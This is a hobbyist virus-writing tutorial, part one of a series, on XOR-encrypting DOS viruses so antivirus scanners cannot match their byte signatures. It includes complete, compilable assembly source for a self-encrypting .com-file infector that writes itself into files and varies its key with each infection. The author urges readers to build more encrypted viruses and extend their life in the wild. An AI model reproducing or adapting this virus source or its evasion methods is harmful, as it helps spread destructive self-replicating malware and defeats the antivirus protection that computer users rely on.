-- An effort to help the naked virus. Part 1 -- By: Sea4 Its pretty simple really... You have a naked virus, and the AV scanners will see everything it has at first glance. The payload, the search routines, the write to file requests, and possibly your name are all exposed to the prying eyes of F-Prot and the like. So, what are you to do? Once all your virus code is commented and researched they'll have a scanstring for it in no time, and ways of cleaning it. But that is not what we want, we want to make it difficult for them. We have to make them earn their paychecks. We want to extend the life of your virus in the wild. Enter: Encryption Techniques Hopefully, with your basic knowledge of ASM you realize your computer reads the bytes of every file you run. Every few bytes are a command to the CPU. So certain bytes like CDh 21h are commands, this is the INT 21h command. When an AV scanner searches files, it looks for byte combinations that look similar to those found in virii. If it finds some, your virus it screwed. To prevent this catastrophe, we must alter the very bytes of your virus to make them appear as anything, but what they really are. You may notice that if you leaf through an assembly language tutorial or book, there alot of commands that directly manipulate bits. Since each byte consists of 8 bits, changing those bits totally changes the function of the bytes, making them appear unlike virus code to any curious AV product. Before I start explaining stuff though, let me give you a quick list of memory sizes, and their number of bits. Bytes Bits Name Compiler Name ----- ---- ---- ------------- 1/8 1 Bit 1/2 4 Nybble 1 8 Byte BYTE 2 16 Word WORD 4 32 Double Word DWORD 8 64 Quad Word QWORD 10 80 Ten Byte TBYTE 16 128 Paragraph PARA 256 2048 Page PAGE 65535 524280 Segment SEGMENT Use that as a reference when I refer to memory sizes and such. Some are not even referred to much even amongst ASM masters. The real important ones are the first 5, and Segment. Now, I propose to show you the various bit altering ASM commands, and how to use them to hide. Lets start out with the most popular way to hide behind encryption. The famous XOR command! You have probably used it so far to make a byte = 0. Fortunetly for us, it has far more capabilities. What it does exactly is take the two operands and keep only different bits, placing them in the destination operand. For example: xor al,bl ; XORs AL and BL, placing the result in AL. Lets assume AL = 3h ( which is 3d also ) and BL = 12h ( which is 18d ) Now for the binary values: 00000011b = AL = 03h ; First operand, and destination operand XOR ; XOR instruction 00010010b = BL = 12h ; 2nd operand, sometimes reffered to as -------- ; a bit mask. ( Because it holds the bits ) 00010001b = AL = 11h ; Resulting number, placed in AL Notice that only the bits different in each of the two bytes are kept. This makes it possible to get the original number, by doing a second XOR. Watch: 00010001b = AL = 11h ; Result from first XOR XOR ; The second XOR instruction 00010010b = BL = 12h ; The bit mask we used the first time. -------- 00000011b = AL = 03h ; Yay! Because we use the same bit mask twice ; we are able to retrieve the original number. Now, your brain might be turning, and getting ahead of me. You might be saying to yourself "I think I know were he is goin' with this." If you don't I'll explain. Say you have your naked virus... and you take every byte in it, then you XOR them all against a bit mask like C4h :). It would change every single byte to something totally different. Then when you want to run the virus, you just XOR them all again to get back the original bytes that contain the virus code. If that sounds confusing I'll put it in real simple terms. The first XOR above can be considered your Encryption, because it makes the bytes different than what you want to use. The second XOR would therefore be considered the Decryption, because it puts the bytes back into a useable format. To better illustrate what I mean, I'll XOR CDh 21h ( INT 21h ) against a bit mask to hide it. Watch this: mov AX,0CD21h ; Puts the INT 21 command into AX mov BX,0CBA2h ; Our bit mask ( I just pulled it from thin air ) xor AX,BX ; Encrypts AX AX = 11001101-00100001b ; Binary representation of AX ^--AH--^ ^--AL--^ ; AH = CDh: AL = 21h BX = 11001011-10100010b ; Binary representation of BX ^--BH--^ ^--BL--^ ; BH = CBh: BL = A2h 11001101-00100001b ; AX, also our destination operand XOR ; XOR instruction, encrypting this time 11001011-10100010b ; BX, our bit mask -------- -------- 00000110-10000011b ; Resulting value place in AX as 0683h ^--AH--^ ^--AL--^ ; AH = 06h: AL = 83h Hehe, now the CD21h has been turned into a 0683h. Before an AV scanner would recognize the INT 21h command. Now it only can only see the 0683h, which is totally different than INT 21h to a scanner. 06h = Push ES, and 83 isn't even a whole command by itself. So if we did that to all bytes in our virus, we could make the virus appear as something it is not. Before running the virus code of course you must get back the original bytes, and I'll show that with the 0683h value and the bit mask. 00000110-10000011b ; The encrypted value of AX XOR ; XOR instruction, decrypting this time 11001011-10100010b ; BX, our bit mask -------- -------- 11001101-00100001b ; AX, where the result will be placed ^--AH--^ ^--AL--^ ; AH = CDh: AL = 21h There it is. XOR encryption, at its very essence. Now you may be asking "That is all well, and good, but how the hell do I tell my virus to Encrypt/ Decrypt itself?" Well, that is a little more difficult to do, but pretty easy to understand. So here is an example of a virus using encryption, it can be compiled using A86.com: Start: ; Before the virus runs we must decrypt it. ; This is a simple call to Decrypt a virus, before running it. ; NOTE: It does NOT decrypt first generation to prevent crashing. SkipDec: jmp Ende ; This deserves a little explaining. We have to ; skip the decryption on first run, because nothing ; is encrypted. At location 'Ende' are instructions ; to overwrite this JMP. If we don't skip the jmp ; on first run all the bytes will be sent to the ; CPU as encrypted bytes and may crash it. ; mov cx,Crypto-Hidden ; Gets the number of bytes from Hidden to the ; Start of the encryption routine. ; In subsequent generations of the virus, this will ; be in the place of JMP. lea si,Hidden ; We load SI, and DI with the encrypted area mov di,si ; Because it is the Source (SI) and Destination (DI) ; of the XORed bytes. Call Crypto ; Calls the decrypt routine Hidden: ; Start of hidden area. It ends right before the ; encryption routine. mov ah,4Eh ; Function 4Eh: Find First FindNext: xor cx,cx ; No attributes lea dx,FileMask ; *.com files int 21h ; Finds a com file to kill jnc Open ; Found one, lets infect it jmp Close ; None left, lets exit Open: ; Opens the file mov ax,3D02h ; Function 3Dh: Open File ; 02 = read/write access to file lea dx,9Eh ; ASCIZ filename that was found int 21h ; open it xchg bx,ax ; Put file handle in BX ; Now we must write the three main components of the virus ; to the victim file ; 1) Decrypt Call ( UnEncrypted ) ; 2) Find/Infect Routines ( Encrypted ) ; 3) Decrypt/encrypt routine ( UnEncrypted ) ; First we must write the decrypt call to the victim ; seperatly so that we may encrypt the 'Hidden' area mov ah,40h ; Function 40h: Write to file lea dx,start ; Start of virus mov cx,hidden-start ; Length of area to write int 21h ; Write the first section ; Here we increase the XORvalue by 1. Every time a file is infected the XOR ; mask will change. This makes it possible for 255 differently encrypted ; virii to be formed. Pretty cool eh? inc byte ptr[XorValue] ; Increments the XOR value by 1 jnz NotZero ; The value resulted in 0 ; which doesn't hide anything, so we must try ; again inc byte ptr[XorValue] ; Makes it = 1 NotZero: ; Now the Find/Infect routines must be encrypted lea di,buffer ; Buffer is where the encrypted bytes will be ; stored before writing to file. lea si,hidden ; Start of area from which we get the bytes to encrypt mov cx,Crypto-Hidden ; Length of second area push cx ; Saves the value on the stack call Crypto ; Moves the bytes ( through crypto ) to the buffer mov ah,40h ; Function 40h: Write to file lea dx,buffer ; Where the encrypted Find/Infect routines are stored pop cx ; Gets the saved value of CX ( Size of Second area ) int 21h ; Writes the second part of the virus ; Now for the 3rd and final section of the virus. mov ah,40h ; Function 40h: write to file lea dx,Crypto ; Decrypt/Encrypt loop mov cx,Ende-Crypto ; Length to write int 21h ; Write that sucka' mov ah,3Eh ; Function 3Eh: Close file int 21h mov ax,4F00h ; Function 4Fh: Find Next file jmp FindNext Close: int 20h ; Shut down the virus ; Here is a good place to put text strings, etc. because it is hidden by ; the encryption, and is not executed by the program. FileMask db '*.com',0 ; File mask for *.com files VirusName db '[Crypto]',0 ; Name of the virus Author db 'Sea4, CodeBreakers',0 ; Author and group Message db 'An effort to help the naked virus.',0 ; Something extra Crypto: ; The good thing about this type of encryption loop is ; that it can also function as a decrypt loop. mov dl,[Xorvalue] ; Puts the XORvalue from memory into ; DL, because DL is our bit mask EncLoop: ; Encryption Loop lodsb ; Puts byte at [SI] into AL, then increments SI ; Since Hidden is where we are starting to decrypt ; This takes the byte at [SI] and puts it into AL xor al,dl ; We now XOR the byte to Decrypt/Encrypt it stosb ; Instead of putting a value in AL it copies ; AL into the address [DI] (Destination Index) ; then increments DI. loop EncLoop ; Does one loop for every byte specified by CX ret ; Now we just return to who called this routine XorValue db 00h ; This is where the bitmask is saved between runs Buffer: ; Start of the buffer or 'heap' as it is sometimes called. ; An area not saved with the virus, but is used for holding ; values and other temporary stuff. Ende: ; This is also not saved but we need it for the first gen. ; Here is where we overwrite SkipDec: so the virus will run the decryption ; routine after the first generation. lea di,SkipDec ; Destination is the 'jmp ende' instruction which ; is not needed in future generations. lea si,NewBytes ; What we replace 'jmp ende' with... it loads the ; length of the area to decrypt. mov cx,3 ; Length of 'jmp ende' rep movsb ; Does the replacement jmp Hidden ; Goes to the start of the virus code. NewBytes: mov cx,Crypto-Hidden ; Will overwrite the 'jmp ende' at the start of ; the virus EndOfVirus: I wrote that just for you. Don't you feel special? Anyway... let me explain it as an outline. I. Call Decrypt - Calls the decrypt routine at Part III except on the first run II. Find Infect A. Find *.com files - Jump to G if none left B. Open them up C. Write Part I to the victim file D. Encrypt Part II into the Buffer E. Write Part III to victim file F. Close Victim and jump to section A. G. Close virus with INT 20h III. Decrypt/Encrypt A. Get XORvalue B. Get Byte at SI, and increment SI C. XOR that byte with XORvalue D. Put the Byte to DI and increment E. Loop to B until all specified bytes have been encrypted F. Return to caller If you use the outline, the virus should be a thousand times easier to understand. To sum it up even more. The virus reads each byte of its code, encrypts them individually, then puts them in the buffer where they are then written to a victim. Wow! I thought this would be a short text file. Oh well, I had to make it all real simple so everyone would understand. All I basically taught was how to understand XOR, and how to make a virus ready for encryption. The main aspect is to make sure it works. Encryption adds a whole lot of ways to screw your virus up royally, and will probably give you the biggest headache ever. But if you get it done right, its certainly worth it. Since I am not really finished with everything I know about encryption, I will be writing a second part. Until then I think it would be helpful if you write several virii using encryption. At first, I reccommend you read over the virus I included, a few times. As well as the outline. You can paste it into a file of its own, then compile it to see how it works. After you get a feel for what is going on, try to write your own one without cut & paste. For a real challenge to the beginners. Try and add encryption to your first appending virus. By the time you get used to XOR, and basic encryption loops the second part of this tutorial should be finished. Here are a few ideas I have been kicking around: 1) Using the other bit manipulators. ( NOT, NEG, ROR, ROL and such ) 2) Double encryption ( Twice the headache of normal encryption ) :-) 3) XCHG encryption ( Neato ) 4) How to call the De/Encrypt loops ( Trust me, its important when using the other bit manipulators ) 5) Encrypting your virus after it has been run. ( Not hard really ) 6) Writing dual function De/Encrypt loops 7) Writing seperate loops for Decrypting and Encrypting 8) A quick example of how to add encryption to an appeding virus. Its not really hard, its just where you put the call. Well, I figure thats enough for now. Keep those virii encrypted because, a naked virus is a dead virus. - Sea4@ThePentagon.com